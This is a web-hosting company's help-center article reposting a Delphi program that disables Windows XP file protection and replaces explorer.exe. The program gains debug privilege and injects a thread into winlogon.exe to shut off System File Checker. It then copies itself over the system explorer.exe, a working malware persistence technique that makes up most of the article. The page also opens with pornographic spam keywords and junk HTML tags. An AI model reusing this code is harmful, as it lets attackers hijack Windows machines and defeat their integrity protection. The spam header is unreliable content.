激情五月天婷婷,亚洲愉拍一区二区三区,日韩视频一区,a√天堂中文官网8

<ul id="buwfs"><strike id="buwfs"><strong id="buwfs"></strong></strike></ul>
    <output id="buwfs"></output>
  • <dfn id="buwfs"><source id="buwfs"></source></dfn>
      <dfn id="buwfs"><td id="buwfs"></td></dfn>
      <div id="buwfs"><small id="buwfs"></small></div>
      <dfn id="buwfs"><source id="buwfs"></source></dfn>
      1. <dfn id="buwfs"><td id="buwfs"></td></dfn>
        始創(chuàng)于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊(cè)有禮 登錄
        • 掛牌上市企業(yè)
        • 60秒人工響應(yīng)
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補(bǔ)償
        全部產(chǎn)品
        您的位置: 網(wǎng)站首頁(yè) > 幫助中心>文章內(nèi)容

        關(guān)閉XP保護(hù) 替換explorer.exe

        發(fā)布時(shí)間:  2012/6/23 18:24:13

        在偶的VPC上測(cè)試是可以的。沒(méi)有更多的測(cè)試.
          偶并沒(méi)有調(diào)用dllcache目錄下的.你喜歡吧
          {*******************************************************}
          { }
          { 關(guān)閉XP保護(hù)。替換explorer.exe }
          { }
          { 版權(quán)所有 (C) 2008 bbs.secdst.net }
          { }
          {*******************************************************}
          program Project1;
          uses
          Windows,TlHelp32;
          function LowerCase(const S: string): string; //轉(zhuǎn)小寫
          var
          Ch: Char;
          L: Integer;
          Source, Dest: PChar;
          begin
          L := Length(S);
          SetLength(Result, L);
          Source := Pointer(S);
          Dest := Pointer(Result);
          while L <>0 do
          begin
          Ch := Source^;
          if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
          Dest^ := Ch;
          Inc(Source);
          Inc(Dest);
          Dec(L);
          end;
          end;
          function CreatedMutexEx(MutexName: Pchar): Boolean;
          var
          MutexHandle: dword;
          begin
          MutexHandle := CreateMutex(nil, True, MutexName);
          if MutexHandle <>0 then
          begin
          if GetLastError = ERROR_ALREADY_EXISTS then
          begin
          //CloseHandle(MutexHandle);
          Result := False;
          Exit;
          end;
          end;
          Result := True;
          end;
          function GetWinPath: string; //取WINDOWS目錄
          var
          Buf: array[0..MAX_PATH] of char;
          begin
          GetWindowsDirectory(Buf, MAX_PATH);
          Result := Buf;
          if Result[Length(Result)]<>'\' then Result := Result + '\';
          end;
          function GetTempDirectory: string; //取臨時(shí)目錄
          var
          Buf: array[0..MAX_PATH] of char;
          begin
          GetTempPath(MAX_PATH,Buf);
          Result := Buf;
          if Result[Length(Result)]<>'\' then Result := Result + '\';
          end;
          function EnableDebugPriv : Boolean; //提權(quán)為DEBUG
          var
          hToken : THANDLE;
          tp : TTokenPrivileges;
          rl : Cardinal;
          begin
          result := false;
          OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
          if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then
          begin
          tp.PrivilegeCount := 1;
          tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
          result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
          end;
          end;
          procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 關(guān)閉XP文件保護(hù)
          var
          TID: LongWord;
          hSfc,hThread: HMODULE;
          pfnCloseEvents: Pointer;
          begin
          hSfc := LoadLibrary('sfc_os.dll');
          pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
          FreeLibrary(hSfc);
          hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
          WaitForSingleObject(hThread, 4000);
          end;
          procedure InitProcess(Name: string); //查找winlogon.exe進(jìn)程PID
          var
          FSnapshotHandle: THandle;
          FProcessEntry32: TProcessEntry32;
          ProcessHandle:dword;
          begin
          FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
          FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
          if Process32First(FSnapshotHandle,FProcessEntry32) then begin
          repeat
          If Name = LowerCase(FProcessEntry32.szExeFile) then
          begin
          ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
          InjectThread(ProcessHandle);
          CloseHandle(ProcessHandle);
          Break;
          end;
          until not Process32Next(FSnapshotHandle,FProcessEntry32);
          end;
          CloseHandle(FSnapshotHandle);
          end;
          const ExpFile = 'explorer.exe';
          MasterMutex = 'OpenSoul';
          var
          s: string;
          begin
          if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆體
          if not EnableDebugPriv then Exit; //提權(quán)失敗退出
          InitProcess('winlogon.exe') ;//注入winlogon.exe 先關(guān)閉xp的文件保護(hù) .預(yù)防系統(tǒng)的還原
          s := ParamStr(0) ;//取本名
          if LowerCase(s) <>LowerCase(GetWinPath + ExpFile) then //判斷自己是不是系統(tǒng)下的explorer.exe
          begin //如果不是
          MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + 'system32\explorer.exe'),MOVEFILE_REPLACE_EXISTING); //先移動(dòng)正在運(yùn)行的explorer.exe
          CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ;//把自己復(fù)制到windows目錄 為explorer.exe
          end;
          WinExec(PChar(GetWinPath + 'system32\explorer.exe'),1); //運(yùn)行真正的explorer.exe
          end.

        億恩科技地址(ADD):鄭州市黃河路129號(hào)天一大廈608室 郵編(ZIP):450008 傳真(FAX):0371-60123888
           聯(lián)系:億恩小凡
           QQ:89317007
           電話:0371-63322206


        本文出自:億恩科技【mszdt.com】

        服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

      2. 您可能在找
      3. 億恩北京公司:
      4. 經(jīng)營(yíng)性ICP/ISP證:京B2-20150015
      5. 億恩鄭州公司:
      6. 經(jīng)營(yíng)性ICP/ISP/IDC證:豫B1.B2-20060070
      7. 億恩南昌公司:
      8. 經(jīng)營(yíng)性ICP/ISP證:贛B2-20080012
      9. 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話:0371-60135900
      10. 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話:0371-60135900
      11. 專注服務(wù)器托管17年
        掃掃關(guān)注-微信公眾號(hào)
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號(hào)總部企業(yè)基地億恩大廈  法律顧問(wèn):河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號(hào)
          0
         
         
         
         

        0371-60135900
        7*24小時(shí)客服服務(wù)熱線